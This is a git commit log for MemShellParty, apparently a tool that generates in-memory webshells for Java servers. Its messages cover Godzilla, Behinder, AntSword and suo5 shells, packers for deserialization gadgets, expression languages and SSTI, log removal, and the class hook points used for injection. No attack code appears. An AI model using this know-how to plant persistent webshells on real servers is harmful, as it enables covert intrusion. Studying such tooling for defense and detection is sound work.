ReaJason 881587dccf build(ui): enahnce cross-platform dx 2025-02-26 20:20:49 +08:00
ReaJason e10673ab38 fix: custom injectorClassName not work 2025-02-26 20:20:03 +08:00
ReaJason cf2b2af67e feat: support bytecode shrink
1. remove source file symbol (#46)
2. remove debug info when enable shrink (#29)
2025-02-26 20:19:30 +08:00
ReaJason 7927611c92 test: test compile error 2025-02-26 20:13:53 +08:00
ReaJason 8aa1e1a773 ci: release body is empty 2025-02-25 01:59:45 +08:00
ReaJason 9cd62a0620 docs: update README 2025-02-25 01:41:40 +08:00
ReaJason d004ed1dbc test: test order list is important 2025-02-25 01:41:28 +08:00
ReaJason bc103376d3 test: random name hit key words 2025-02-25 00:45:20 +08:00
ReaJason 9bc73c8002 docs: update CHANGELOG 2025-02-25 00:39:24 +08:00
ReaJason 056cab6c19 docs: add Dockerfile build steps (resolved #44) 2025-02-25 00:31:08 +08:00
ReaJason a00871bcb2 ci: rm useless arg 2025-02-25 00:14:24 +08:00
ReaJason d623477107 build: build docker image with one Dockerfile (#44) 2025-02-25 00:14:11 +08:00
ReaJason a99f1e8a6d build: optimize copy html script 2025-02-25 00:12:38 +08:00
ReaJason e90efdc036 chore: update deps 2025-02-25 00:11:37 +08:00
ReaJason 85828f7975 fix: tomcat WebSocket shell not work (#25) 2025-02-25 00:11:16 +08:00
ReaJason 5b838adbe9 refactor: move class 2025-02-25 00:09:44 +08:00
ReaJason cc87efcddf test: fix failed cases 2025-02-23 18:11:49 +08:00
ReaJason 5f43eae694 chore: update gitignore 2025-02-23 16:58:28 +08:00
ReaJason bad9f2f786 build: support auto download toolchains 2025-02-23 16:53:01 +08:00
ReaJason a6ba2d0a3a docs: add local build command 2025-02-23 16:51:22 +08:00
ReaJason a861effd12 build(boot): Dockerfile support BOOT_OPTS env 2025-02-23 16:45:27 +08:00
ReaJason 7e84cab7bc refactor: supported unified test cases provider 2025-02-23 16:44:35 +08:00
ReaJason f1d797295c build(ui): support base_path 2025-02-23 02:33:09 +08:00
ReaJason 164d59c65a fix(ui): version show html when it failed 2025-02-23 02:33:09 +08:00
ReaJason 3274e8421d feat: support shell registry for all server 2025-02-23 02:33:09 +08:00
ReaJason 1980ae7072 refactor: simplify valve shell register 2025-02-23 02:33:09 +08:00
ReaJason 3438d07f6d chore: rm debug log 2025-02-23 02:33:09 +08:00
ReaJason ebb9b35a17 refactor: optimize import 2025-02-23 02:33:09 +08:00
ReaJason d64a8b9e6b test: rm log 2025-02-23 02:33:09 +08:00
ReaJason b35aafd77b refactor: move members 2025-02-23 02:33:09 +08:00
ReaJason 2dd794faf1 fix: undertow listener failed 2025-02-23 02:33:09 +08:00
ReaJason 4efc6a7562 refactor: rm useless code 2025-02-23 02:33:09 +08:00
ReaJason 258c42adc0 test: class import error 2025-02-23 02:33:09 +08:00
ReaJason 5084a0b850 refactor: simplify memshell generate map register 2025-02-23 02:33:09 +08:00
ReaJason f27b06fc0b ci: set-output command is deprecated 2025-02-23 02:33:09 +08:00
ReaJason 87ba8403db ci: optimize docker push order 2025-02-23 02:33:09 +08:00
ReaJason 185be332a5 ci: change scripts location 2025-02-23 02:33:09 +08:00
ReaJason ef6ca026f2 fix(ui): shell type not reset when server changed 2025-02-21 00:32:24 +08:00
ReaJason 064c73b4e7 ci: support jar file release 2025-02-21 00:16:48 +08:00
ReaJason 6cb42ed954 fix: remove log 2025-02-20 23:59:23 +08:00
ReaJason d92b052428 docs: update CHANGELOG 2025-02-20 23:53:26 +08:00
ReaJason 8c6a67dcc8 feat: add loading component 2025-02-20 23:52:02 +08:00
ReaJason 2db337d85c fix(ui): shell type not changed when server changed 2025-02-20 23:45:52 +08:00
ReaJason b1f963f1a3 test: change deserialize image name 2025-02-20 23:32:00 +08:00
ReaJason ac9c0ec171 docs: update 2025-02-20 23:19:07 +08:00
ReaJason e1f23f52c4 ci: not run test in tag push [skip ci] 2025-02-20 23:19:07 +08:00
ReaJason 0fe7a3d345 chore: remove redundant dep 2025-02-20 23:13:23 +08:00
ReaJason 53999f3e71 fix(ui): packResult not changed when regenerate 2025-02-20 22:28:34 +08:00
ReaJason 42faa786cb chore: gradle 8.12.1 2025-02-20 22:28:34 +08:00
ReaJason a964ada4df chore: rm socket dep 2025-02-20 22:28:34 +08:00
ReaJason f3ced55d8a feat: support hessian packer (#36) 2025-02-20 22:28:34 +08:00
ReaJason 4a7301c7f0 refactor: rename class 2025-02-20 22:04:00 +08:00
ReaJason 75b32773a4 chore: upgrade testcontainers and junit 2025-02-20 21:56:42 +08:00
ReaJason d482707465 docs: update CHANGELOG 2025-02-19 22:21:17 +08:00
ReaJason bad3815107 test: deserialize test container startup failed 2025-02-19 22:21:17 +08:00
ReaJason bfae5e10d3 feat: enhance responsive layout and improve i18n support (#39) 2025-02-19 22:21:17 +08:00
ReaJason 328fee0286 fix: cb110 serializeVersionUID change failed 2025-02-19 22:21:17 +08:00
ReaJason 41d2ea5c6d test: add CB4 multi version gadgets integration test 2025-02-19 22:21:17 +08:00
ReaJason 7d567beba9 test: use annotation to simplify register servlet 2025-02-19 22:21:17 +08:00
ReaJason 8bb3158fe6 ci: skip png file push 2025-02-19 00:30:01 +08:00
ReaJason fd914c014a docs: update screenshots 2025-02-19 00:25:31 +08:00
ReaJason 8299a23ba0 docs: update CHANGELOG 2025-02-19 00:10:04 +08:00
ReaJason 6ca61098df docs: add changelog 2025-02-19 00:04:29 +08:00
ReaJason 6810bea753 fix: keyword is not allowed for classname 2025-02-19 00:04:29 +08:00
ReaJason e10915784c test: rm failed case 2025-02-19 00:04:29 +08:00
ReaJason 2f256fc97e feat: support AntSword shell generate (#34) 2025-02-19 00:04:29 +08:00
ReaJason f38b72fb5f feat: support cb4 other version payload packers 2025-02-19 00:04:29 +08:00
ReaJason 243dd20531 docs: fix typo 2025-02-17 22:39:09 +08:00
ReaJason 6a38aee2d9 docs: change notes location 2025-02-16 00:08:15 +08:00
ReaJason 9c53c599a3 docs: update badges 2025-02-15 23:45:43 +08:00
ReaJason b585c5ff0b docs: update README 2025-02-15 23:31:52 +08:00
ReaJason 10147b5cd2 fix: optimize form fields reset 2025-02-15 14:12:26 +08:00
ReaJason 368730bfd2 docs: update CHANGELOG 2025-02-15 13:50:04 +08:00
ReaJason d02a2c245a docs: update README 2025-02-15 13:50:04 +08:00
ReaJason 7c1995fabd ci: test not run in other branck 2025-02-15 13:50:04 +08:00
ReaJason f961b2aafa build: version not work in IDEA 2025-02-15 13:50:04 +08:00
ReaJason 3f6821181c chore: upgrade to Tailwind CSS v4 2025-02-15 13:50:04 +08:00
ReaJason abfa1af36d fix: sonner theme not work 2025-02-15 13:50:04 +08:00
ReaJason 0bd7da4ffa feat(ui): support suo5 generate 2025-02-15 13:50:04 +08:00
ReaJason 142a9e2c47 feat: support other middleware suo5 shell 2025-02-15 13:50:04 +08:00
ReaJason 98f44cad3b feat: support tomcat suo5 shell 2025-02-15 13:50:04 +08:00
ReaJason ce0159d8f4 docs: update README 2025-02-03 01:46:07 +08:00
ReaJason dec415cdc1 ci: parse changelog failed 2025-02-03 01:24:13 +08:00
ReaJason b1f30ffeea ci: release body is empty 2025-02-03 01:10:28 +08:00
ReaJason ba7f86b92f build: boot docker build error 2025-02-03 00:47:12 +08:00
ReaJason 35382695e0 ci: add needs 2025-02-03 00:35:51 +08:00
ReaJason 4f0671dbe0 ci: do not run test in release ci 2025-02-03 00:35:34 +08:00
ReaJason 1db9cf2bc0 docs: add v1.0.0 changelog 2025-02-03 00:26:50 +08:00
ReaJason 44fa46fbc1 ci: add release ci 2025-02-03 00:26:35 +08:00
ReaJason 65bef5ffb6 feat: add version badge in ui 2025-02-03 00:25:45 +08:00
ReaJason 9ea8dad68b ci: rm coverage 2025-02-02 22:22:40 +08:00
ReaJason a446da4bb7 chore: unify project version 2025-02-02 22:20:47 +08:00
ReaJason 5b9b890fc8 ci: auto deploy [skip ci] 2025-02-02 17:40:44 +08:00
ReaJason 164a27bafd ci: image name error [skip ci] 2025-02-02 15:28:45 +08:00
ReaJason 1bd24e9b01 ci: syntax error [skip ci] 2025-02-02 15:22:16 +08:00
ReaJason 2f9e587e73 ci: fetch depth 0 [skip ci] 2025-02-02 15:18:21 +08:00
ReaJason 9093c2c7be ci: add GitHub container docker push 2025-02-02 15:18:05 +08:00
ReaJason 2440a2fb2e refactor: rename packer 2025-01-30 20:49:56 +08:00
ReaJason b9c05453ef feat: support bsh packer 2025-01-30 18:09:44 +08:00
ReaJason 1f94ca41f6 feat: support rhino and jinjava packer 2025-01-30 17:24:14 +08:00
ReaJason dad1f83365 ci: update badge 2025-01-29 14:19:20 +00:00
ReaJason c808a52d4e feat: support more expression packer 2025-01-29 22:05:25 +08:00
ReaJason 410ee1eff7 refactor: simplify expression packer 2025-01-29 19:58:02 +08:00
ReaJason 6fcf159d1f feat: support mvel packer 2025-01-29 19:54:17 +08:00
ReaJason ee400fa5d2 docs: update screenshots 2025-01-29 11:39:36 +08:00
ReaJason 9b87180075 fix: build error 2025-01-27 17:42:05 +08:00
ReaJason d6ceb1b422 ci: update badge 2025-01-27 09:24:30 +00:00
ReaJason 0d2f6a26b7 test: build error 2025-01-27 17:07:18 +08:00
ReaJason ebfa661b66 feat: support multi payload generate 2025-01-27 17:02:32 +08:00
ReaJason 4a505d928f refactor: shell mount type ordered 2025-01-27 16:24:27 +08:00
ReaJason 55dffd2562 ci: update badge 2025-01-25 12:47:36 +00:00
ReaJason 988d751129 refactor: use platform to manage dependency
1. rename Packer.INSTANCE
2. gradle platform is a good thing (resolved #31)
2025-01-25 20:30:08 +08:00
ReaJason ecbde7dbae ci: update badge 2025-01-23 00:34:16 +00:00
ReaJason ee118bd139 refactor: simplify XXLJOB packer 2025-01-23 08:25:44 +08:00
ReaJason 706f5ad37d ci: update badge 2025-01-22 11:03:35 +00:00
ReaJason 8a3cd76b25 test: resin and jetty failed 2025-01-22 18:50:25 +08:00
ReaJason f9eb9dafa4 feat: support xxl-job executor NettyHandler (#30)
Only support jdk8, in jdk11 or jdk17 env, you should use file write and use urlClassLoader to load injectorClass or else.
2025-01-22 18:36:19 +08:00
ReaJason 08ffa47531 feat: support jar packer 2025-01-22 18:29:42 +08:00
ReaJason 51cda2b2ba feat: support GZIPBase64 packer 2025-01-22 18:29:42 +08:00
ReaJason aff74ad27e fix: build error 2025-01-20 00:39:14 +08:00
ReaJason 9154b1b46c feat: support i18n [skip ci] 2025-01-20 00:34:10 +08:00
ReaJason f78c83d901 docs: update README 2025-01-18 20:25:54 +08:00
ReaJason 86032a7131 ci: update badge 2025-01-18 12:24:05 +00:00
ReaJason 406d49b36e test: npe 2025-01-18 20:14:47 +08:00
ReaJason a3f835bc84 docs: update screenshots 2025-01-18 20:00:40 +08:00
ReaJason 88a26e9ba0 refactor: enhance web ux 2025-01-18 20:00:24 +08:00
ReaJason 70eef7faee fix: tomcat filter shell not work
tomcat filter shell classname startsWith org.apache.catalina.web.handlers will not work
2025-01-18 19:54:04 +08:00
ReaJason 216b967463 refactor: rename webflux 2025-01-18 18:28:46 +08:00
ReaJason 8c04e60c11 refactor: rename springwebmvc 2025-01-18 18:28:46 +08:00
ReaJason ee6490cf34 feat: support springwebmvc agent shell
1. hook point is org.springframework.web.servlet.FrameworkServlet.service
2025-01-18 18:28:46 +08:00
ReaJason 06b952b0ab ci: update badge 2025-01-09 17:37:27 +00:00
ReaJason 3af7716dfe Revert "fix: GlassFish war deploy failed"
This reverts commit 974cf3ccaa.
2025-01-10 01:28:08 +08:00
ReaJason fc386c60e6 docs: update README 2025-01-10 01:15:49 +08:00
ReaJason c622b1f4a8 feat: support JBossAS contextValve agent shell 2025-01-10 01:15:40 +08:00
ReaJason e6fb68b0e7 feat: suport bes agent shell 2025-01-10 01:07:34 +08:00
ReaJason b0c31ff7fd feat: support TongWeb agent shell 2025-01-10 00:56:58 +08:00
ReaJason 974cf3ccaa fix: GlassFish war deploy failed 2025-01-10 00:56:26 +08:00
ReaJason e1f4921a2e feat: support inforsuite agent shell 2025-01-10 00:56:26 +08:00
ReaJason 14a7a9bac6 feat: support GlassFish agent shell (#23)
1. hook point1 is org.apache.catalina.core.ApplicationFilterChain.doFilter
2. hook point2 is org.apache.catalina.core.StandardContextValve.invoke
3. GlassFish use osgi module, cipher class not in web-core, so that should use ContextClassLoader (resolved #23)
2025-01-10 00:56:26 +08:00
ReaJason 1cd05fd89f feat: support tomcat context valve agent shell 2025-01-10 00:56:26 +08:00
ReaJason 1efbdfff6f ci: update badge 2025-01-08 17:15:41 +00:00
ReaJason c5b50ddf73 docs: update README 2025-01-09 01:06:33 +08:00
ReaJason 5afa5da5f3 feat: support jetty agent shell (#19)
1. hook point is org.eclipse.jetty.servlet.ServletHandler.doHandle
2. it doesn't support jetty6, org.mortbay.jetty.servlet.ServletHandler#handle, because ldc visit cannot support java1.4
2025-01-09 01:04:31 +08:00
ReaJason 1f272e1dc9 docs: update README 2025-01-08 00:03:05 +08:00
ReaJason 7aeeb6d6db ci: update badge 2025-01-07 15:39:06 +00:00
ReaJason 09ee91fd34 feat: support undertow agent shell (#21)
1. hook point is io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest, resolved #21
2. fix godzilla payload error in some module system that cost my five hour to debug
2025-01-07 23:26:59 +08:00
ReaJason eb05735dda ci: update badge 2025-01-07 13:27:17 +00:00
ReaJason 6e8a1f7965 ci: was7 failed 2025-01-07 21:18:32 +08:00
ReaJason cf8b2793bf test: unit test npe 2025-01-07 20:44:05 +08:00
ReaJason d6570007cc feat: support resin agnet shell(#20)
hook point is com.caucho.server.dispatch.FilterFilterChain.doFilter (resolved #20)
2025-01-07 20:28:51 +08:00
ReaJason 37733e0b98 feat: support jbossas agent shell 2025-01-07 10:02:51 +08:00
ReaJason 9ce0e182ba test: add nettyHandler test 2025-01-07 10:02:51 +08:00
ReaJason 4b391955e4 feat: use ldc and reflection (#26)
1. remove servlet-api dependency
2. remove class reference (resolved #26), but it doesn't work for java4
2025-01-07 10:02:51 +08:00
ReaJason 507061a258 fix: change weblogic agent hook 2025-01-07 10:02:51 +08:00
ReaJason ff40e5c3fb fix: was7 agent shell fail sometime 2025-01-07 10:02:51 +08:00
ReaJason 72b4effa35 ci: update badge 2025-01-05 07:54:03 +00:00
ReaJason 0f47ce3d0a docs: update CONTRIBUTING 2025-01-05 15:44:57 +08:00
ReaJason 475fca0221 feat: support webflux netty shell (#8) 2025-01-05 15:44:43 +08:00
ReaJason 0b2eea91ab test: add websphere7 integration test (resolved #16) 2025-01-04 23:24:11 +08:00
ReaJason 90f848d4f7 docs: update README 2025-01-04 11:26:41 +08:00
ReaJason 768fc76ac6 ci: update badge 2025-01-04 03:24:26 +00:00
ReaJason 3d9534a402 ci: websphere agent test failed 2025-01-04 11:18:03 +08:00
ReaJason 514cc4ff30 fix: build error 2025-01-04 10:51:45 +08:00
ReaJason 7778ec3f5e ci: only support manually push 2025-01-04 10:48:57 +08:00
ReaJason 6026eb9165 feat: support was and weblogic agent shell 2025-01-03 22:05:54 +08:00
ReaJason 550ea678e5 feat: tomcat agent support jdk6 2025-01-03 02:16:51 +08:00
ReaJason ceacef5cf3 ci: update badge 2025-01-02 17:32:12 +00:00
ReaJason 061b51b9b1 fix: boot jar dependencies copy error 2025-01-03 01:25:45 +08:00
ReaJason 1c3948d9a9 ci: update badge 2025-01-02 16:50:43 +00:00
ReaJason a8728a6e33 fix: spring shell generate error 2025-01-03 00:43:03 +08:00
ReaJason dd5b7c0366 feat: support tomcat agent shell (resolved #12) 2025-01-03 00:25:56 +08:00
ReaJason 7e3bd95a2c style(ui): unify font size 2024-12-31 12:07:56 +08:00
ReaJason 692d16f9a4 fix: copyToClipboard button not work 2024-12-31 11:41:08 +08:00
ReaJason 8f7884ce48 ci: add unit test for boot 2024-12-31 01:21:21 +08:00
ReaJason fb421e48ee fix: boot run failed 2024-12-30 23:20:16 +08:00
ReaJason 8e8b344bdd docs: update 2024-12-28 01:11:23 +08:00
ReaJason e99f2e13b4 docs: update README 2024-12-28 01:03:23 +08:00
ReaJason 50228c854d ci: update badge 2024-12-27 16:58:31 +00:00
ReaJason c0231c7fc4 refactor: simplify code 2024-12-28 00:52:28 +08:00
ReaJason 8784c7556e feat: support apusic shell generate (#10) 2024-12-27 20:39:09 +08:00
ReaJason c1d22394de docs: update screenshot [skip ci] 2024-12-27 01:02:02 +08:00
ReaJason 30a71006b1 docs: update README 2024-12-27 00:57:59 +08:00
ReaJason 883a9d29ef docs: update README 2024-12-27 00:45:54 +08:00
ReaJason 4702806117 ci: update badge 2024-12-26 15:52:46 +00:00
ReaJason da182a8df5 feat: support tongweb shell generate (resolved #11) 2024-12-26 23:45:58 +08:00
ReaJason ab0b6131f0 perf: support bes symbol name 2024-12-26 21:54:18 +08:00
ReaJason 526d610ecc refactor: rename [skip ci] 2024-12-26 21:46:21 +08:00
ReaJason 6c42417adf ci: update badge 2024-12-26 13:40:42 +00:00
ReaJason b995f301ab fix: glassfish7 listener failed 2024-12-26 21:34:26 +08:00
ReaJason 381ddcb5d6 docs: update README 2024-12-26 21:19:51 +08:00
ReaJason d761b6f1fb feat: support bes shell generate (#9) 2024-12-26 21:19:51 +08:00
ReaJason 73d2f80658 refactor: simplify code 2024-12-26 21:19:51 +08:00
ReaJason 2aa8a1e0b1 docs: update issue templates [skip ci] 2024-12-26 01:12:03 +08:00
ReaJason 4eea7b2347 ci: update badge 2024-12-25 17:05:07 +00:00
ReaJason 013745b77c feat: support spring webflux shell generate (resolved #6) 2024-12-26 00:59:24 +08:00
ReaJason 4e53d03d26 ci: support manually run build ci [skip ci] 2024-12-24 22:55:02 +08:00
ReaJason 0de59c8211 docs: update README 2024-12-24 22:50:10 +08:00
ReaJason d8285923ca feat: add copy button for className 2024-12-24 22:50:10 +08:00
ReaJason 3b9d6b2daa chore(web): upgrade dependencies 2024-12-24 22:50:10 +08:00
ReaJason 4caaf3a21f ci: update badge 2024-12-24 13:32:37 +00:00
ReaJason d9dc9af29a test: change vul war location 2024-12-24 21:26:39 +08:00
ReaJason ba2b74af66 feat: support weblogic servlet (resolved #5) 2024-12-24 21:09:49 +08:00
ReaJason 89472ceee1 docs: update README 2024-12-24 02:40:31 +08:00
ReaJason 78168c1b56 ci: update badge 2024-12-23 18:37:18 +00:00
ReaJason 5ef8a40160 ci: add weblogic test 2024-12-24 02:30:14 +08:00
ReaJason 9bd893f087 feat: support inforsuite shell generate 2024-12-24 02:26:30 +08:00
ReaJason b0e2e7469f feat: support weblogic filter listener (#5) 2024-12-24 02:09:39 +08:00
ReaJason b340b53357 refactor: rename class 2024-12-24 00:15:12 +08:00
ReaJason 1a4d57c58d fix: behinder response wrapper 2024-12-22 20:49:56 +08:00
ReaJason 72f1d7fa48 docs: update README 2024-12-22 18:15:08 +08:00
ReaJason 2d60b1e175 ci: update badge 2024-12-22 10:04:25 +00:00
ReaJason 527d3ebaed fix: boot-ui not behinder select option 2024-12-22 17:58:49 +08:00
ReaJason 14b9bcc00c feat: boot-ui support behinder 2024-12-22 17:37:21 +08:00
ReaJason 29e9d2b32a ci: update badge 2024-12-22 08:58:01 +00:00
ReaJason bdefe3928c fix: behinder outputStream methodNotFound 2024-12-22 16:51:24 +08:00
ReaJason 61b31f730f test: vul file not found 2024-12-22 16:41:36 +08:00
ReaJason 77e5371fa8 feat: support springmvc shell generate 2024-12-22 16:29:02 +08:00
ReaJason 91181ffc55 refactor: change vul modules structure 2024-12-22 10:42:48 +08:00
ReaJason 0fea777294 docs: update README 2024-12-22 01:35:24 +08:00
ReaJason b22f73c61f docs: update README [skip ci] 2024-12-22 01:23:17 +08:00
ReaJason b374f3b384 chore: upgrade gradle 8.12 2024-12-22 01:23:03 +08:00
ReaJason 3f1ea88854 ci: update badge 2024-12-21 16:20:43 +00:00
ReaJason 277020145a test: skip jboss4 behinder test (it does'n work) 2024-12-22 00:15:27 +08:00
ReaJason 01fd2ecb80 feat: support behinder shell generate 2024-12-22 00:05:01 +08:00
ReaJason 100b4e5d9b ci: update badge 2024-12-21 12:59:02 +00:00
ReaJason 3f00189f8e test: speedup glassfish4 container 2024-12-21 20:53:21 +08:00
ReaJason debbbd5305 feat: support websphere shell generate (#2) 2024-12-21 19:54:31 +08:00
ReaJason 2e08e5fd22 ci: update badge 2024-12-21 07:20:57 +00:00
ReaJason 4caeca44f8 feat: support resin servlet (#2) 2024-12-21 14:51:12 +08:00
ReaJason 6bba432491 ci: update badge 2024-12-21 06:19:16 +00:00
ReaJason fcaf0cae6b feat: support undertow servlet (#2) 2024-12-21 14:13:49 +08:00
ReaJason 524b65b25b ci: update badge 2024-12-20 17:30:55 +00:00
ReaJason 7ae2d76b19 test: glassfish4 use jdk8 2024-12-21 01:25:58 +08:00
ReaJason 10c8214631 ci: glassfish 3 and 4 not stable 2024-12-21 00:43:13 +08:00
ReaJason aa7ecb1587 feat: support jetty servlet (#2) 2024-12-21 00:42:53 +08:00
ReaJason 0e5b8efdeb fix: jetty filter isInjected not work 2024-12-21 00:42:10 +08:00
ReaJason 87f2bd2840 ci: build workflow should behind test 2024-12-20 23:39:48 +08:00
ReaJason cfb64ba91a test: jboss7+ not deserialize failed 2024-12-20 23:39:29 +08:00
ReaJason 14212c1344 test: unit test symbol not found 2024-12-20 23:31:36 +08:00
ReaJason a7522b4982 feat: support tomcat websocket shell 2024-12-20 23:28:30 +08:00
ReaJason 93e10425cd refactor: unify code style 2024-12-20 23:26:13 +08:00
ReaJason 635e55350d docs: update README 2024-12-20 02:34:05 +08:00
ReaJason b14d43ce70 ci: bun run failed 2024-12-20 02:33:37 +08:00
ReaJason 4df3c2c7b9 ci: boot build failed 2024-12-20 01:38:13 +08:00
ReaJason 631fd76879 ci: update badge 2024-12-19 17:38:04 +00:00
ReaJason ab1e1d124f fix: file name error 2024-12-20 01:32:11 +08:00
ReaJason 75f99f281b ci: build failed 2024-12-20 01:24:31 +08:00
ReaJason 3b0aeaa294 feat: support boot-ui 2024-12-20 01:15:12 +08:00
ReaJason da4a5b234d feat: support tomcat11-jre21 2024-12-20 01:09:34 +08:00
ReaJason d57fece0ca docs: add TG group 2024-12-16 23:38:13 +08:00
ReaJason a63a33d5dd docs: add CONTRIBUTE.md [skip ci] 2024-12-15 20:14:06 +08:00
ReaJason caf1cb4fb2 ci: run all integration-test as posible 2024-12-15 20:13:10 +08:00
ReaJasonandReaJason 0972d714d7 feat: add tomcat servlet shell (#2) (#3)
* feat: support tomcat servlet shell

* test: glassfish 3 and 4 not work

* ci: update badge

---------

Co-authored-by: ReaJason <[email protected]>
2024-12-15 16:02:22 +08:00
ReaJason 58045d0bb3 ci: cancel if new push 2024-12-15 09:53:20 +08:00
ReaJason dc7c3dc0ac refactor: code format 2024-12-15 09:52:09 +08:00
ReaJason 40b1e0a7b5 Update issue templates [skip ci] 2024-12-15 01:26:30 +08:00
ReaJason 1bdb2a581c ci: update badge 2024-12-14 17:17:50 +00:00
ReaJason 9173695ab9 test: glassfish 3 and 4 not work 2024-12-15 01:12:20 +08:00
ReaJason eba4381256 feat: support payara shell generate 2024-12-15 01:03:00 +08:00
ReaJason 3dcf0c2b56 ci: update badge 2024-12-14 13:53:00 +00:00
ReaJason ab764cbdd0 test: glassfish3 not started 2024-12-14 21:47:22 +08:00
ReaJason 895c3cbc4b test: glassfish4 not started 2024-12-14 21:41:17 +08:00
ReaJason a4e3e4f697 fix: jboss6 scan overflow with spring 2024-12-14 21:32:57 +08:00
ReaJason 28a34cbf89 fix: tomcat6 jsp LinkageError 2024-12-14 20:40:18 +08:00
ReaJason 63207195a2 ci: add resin test 2024-12-14 20:05:21 +08:00
ReaJason 8a83ba1bf6 fix: unit test error 2024-12-14 20:04:49 +08:00
ReaJason b52f44bc6a fix: compile error 2024-12-14 19:54:39 +08:00
ReaJason 7ce0bf6446 fix: jetty11 jsp not work 2024-12-14 19:52:15 +08:00
ReaJason 51342c36ad refactor: deserialize 2024-12-14 19:34:06 +08:00
ReaJason 8a709a1f23 feat: support resin shell generate 2024-12-14 19:33:19 +08:00
ReaJason 6a5858ab2f feat: support ssti and expression packer 2024-12-14 19:28:13 +08:00
ReaJason 1987142a48 fix: jsp execute fail in module system 2024-12-14 16:56:53 +08:00
ReaJason 800932118e fix: byPassModule not work 2024-12-14 16:26:03 +08:00
ReaJason acfa63c83b ci: update badge 2024-12-12 18:46:39 +00:00
ReaJason e1d851bcba fix: glassfish container not run in expected 2024-12-13 02:41:41 +08:00
ReaJason d9a7bacde3 fix: glassfish upload error 2024-12-13 02:30:27 +08:00
ReaJason f2a8bfe299 fix: unsupported server 2024-12-13 02:15:44 +08:00
ReaJason 9587d916bc test: rm jetty jsp upload test 2024-12-13 02:10:49 +08:00
ReaJason becead8b71 ci: add glassfish test 2024-12-13 01:42:42 +08:00
ReaJason 149ce07dab feat: support glassfish shell generate 2024-12-13 01:39:24 +08:00
ReaJason 9c4f48895a feat: logRemover support Logger.info and warning 2024-12-13 00:37:27 +08:00
ReaJason 88e09ddbc1 ci: update badge 2024-12-10 18:03:38 +00:00
ReaJason f1bb363c37 fix: server not supported 2024-12-11 01:56:30 +08:00
ReaJason 3b4a35396d ci: integration print log 2024-12-11 01:55:14 +08:00
ReaJason 9374696515 ci: add wildfly 2024-12-11 01:47:32 +08:00
ReaJason 1712608b0b style: code format 2024-12-11 01:35:41 +08:00
ReaJason c30a00146d feat: support jboss and undertow 2024-12-11 01:31:20 +08:00
ReaJason af781e80a9 ci: update badge 2024-12-10 13:11:57 +00:00
ReaJason 5e0b47956d feat: support deserialize packer (but only CB4) 2024-12-10 21:07:41 +08:00
ReaJason 60345851f5 fix: jetty 10 and 11 filter add first failed 2024-12-10 21:05:52 +08:00
ReaJason d6101434ce ci: dependency error 2024-12-09 23:32:07 +08:00
ReaJason 3db5f3743a ci: jacoco execution data not found 2024-12-09 23:30:34 +08:00
ReaJason 57a1f97963 ci: coverage run failed 2024-12-09 23:06:03 +08:00
ReaJason feb4dbe39a ci: separate unit test and integration test 2024-12-09 22:33:34 +08:00
ReaJason 5594e33ce9 fix: jetty ScriptEngine not work 2024-12-09 21:06:23 +08:00
ReaJason 1e93e289c8 test: add jetty ScriptEngine test 2024-12-09 21:05:50 +08:00
ReaJason 77de947722 ci: update badge 2024-12-09 12:32:26 +00:00
ReaJason 58fe9cf387 test: compile error 2024-12-09 20:29:17 +08:00
ReaJason 76f3ed4695 feat: support debug mode 2024-12-09 20:24:58 +08:00
ReaJason e28ddf9972 fix: tomcat5 valve not work 2024-12-09 01:27:08 +08:00
ReaJason 12519d4a0f ci: update badge 2024-12-08 15:29:18 +00:00
ReaJason 742b63890a test: add tomcat5 container 2024-12-08 23:26:32 +08:00
ReaJason e058f00691 ci: update badge 2024-12-08 09:03:10 +00:00
ReaJason 7d255a6b5e ci: add paths-ignore 2024-12-08 17:00:03 +08:00
ReaJason f7fc98b388 feat: add boot and webui 2024-12-08 16:59:18 +08:00
ReaJason 146f67c653 refactor: extract super class 2024-12-08 16:51:50 +08:00
ReaJason fe3a77774b ci: update badge 2024-12-07 12:20:50 +00:00
ReaJason c9cd7c1eed feat: support jetty shell generate 2024-12-07 20:17:40 +08:00
ReaJason cde67580a9 refactor: simplify ByPassJdkModuleInterceptor 2024-12-07 11:06:45 +08:00
ReaJason ce2d3da47b ci: update badge 2024-12-06 18:17:48 +00:00
ReaJason 1639ea1e93 test: container not auto start 2024-12-07 02:15:15 +08:00
ReaJason a0a79a68f7 refactor: separate generate config 2024-12-07 01:49:12 +08:00
ReaJason 3af6c3fa8f build: upgrade project JDK 8 to 17 2024-12-05 22:42:02 +08:00
ReaJason cb501e07f6 docs: unify badge style 2024-12-05 22:40:49 +08:00
ReaJason a9ded0670e test: use method parameters 2024-12-05 22:40:01 +08:00
ReaJason 3a2e0392da ci: update badge 2024-12-04 15:21:08 +00:00
ReaJason f4f0d5608c fix: godzilla listener check error 2024-12-04 23:19:00 +08:00
ReaJason b5a91fa4e6 ci: update badge 2024-12-04 14:43:21 +00:00
ReaJason b955ecd416 refactor: simplify code 2024-12-04 22:40:58 +08:00
ReaJason 26d07f522e test: speedup integration test use sharedContainer
refer: https://java.testcontainers.org/test_framework_integration/junit_5/#shared-containers
2024-12-04 21:53:52 +08:00
ReaJason 9a843b7613 test: fix totalCount calc error 2024-12-04 21:52:07 +08:00
ReaJason d926832a21 fix: same classname inject just once 2024-12-04 21:51:21 +08:00
ReaJason a29bfbf7ba ci: update badge 2024-12-03 19:18:05 +00:00
ReaJason 61f215d10c test: add more docker compose file 2024-12-04 03:14:08 +08:00
ReaJason d247f63f88 fix: tomcat9+ filter not work 2024-12-04 03:14:08 +08:00
ReaJason 4162197169 fix: tomcat6 and 7 listener not work 2024-12-04 03:14:08 +08:00
ReaJason 9864c3da32 feat: support JDK8 ScriptEngine packer 2024-12-04 03:14:08 +08:00
ReaJason bddeb4fbaf test: fix case name error 2024-12-04 03:14:08 +08:00
ReaJason d6b0813584 ci: update badge 2024-12-03 13:31:04 +00:00
ReaJason 96675c28b1 ci: fix badge not generate 2024-12-03 21:27:49 +08:00
ReaJason 411fb39d91 test: enhance integration report 2024-12-03 21:19:21 +08:00
ReaJason 33b1ac28bc docs: update README 2024-12-02 02:09:22 +08:00
ReaJason 8b8a44503e test: first show failed cases 2024-12-02 02:08:57 +08:00
ReaJason f6d0e273fe ci: update badge 2024-12-01 17:14:27 +00:00
ReaJason 746353b5c9 Merge branch 'master' of github.com:ReaJason/MemShellParty 2024-12-02 01:11:07 +08:00
ReaJason e2340ff2d1 test: support integration test summary 2024-12-02 01:10:51 +08:00
ReaJason 7b9beeb8bb fix: command shell use paramName 2024-12-02 01:08:22 +08:00
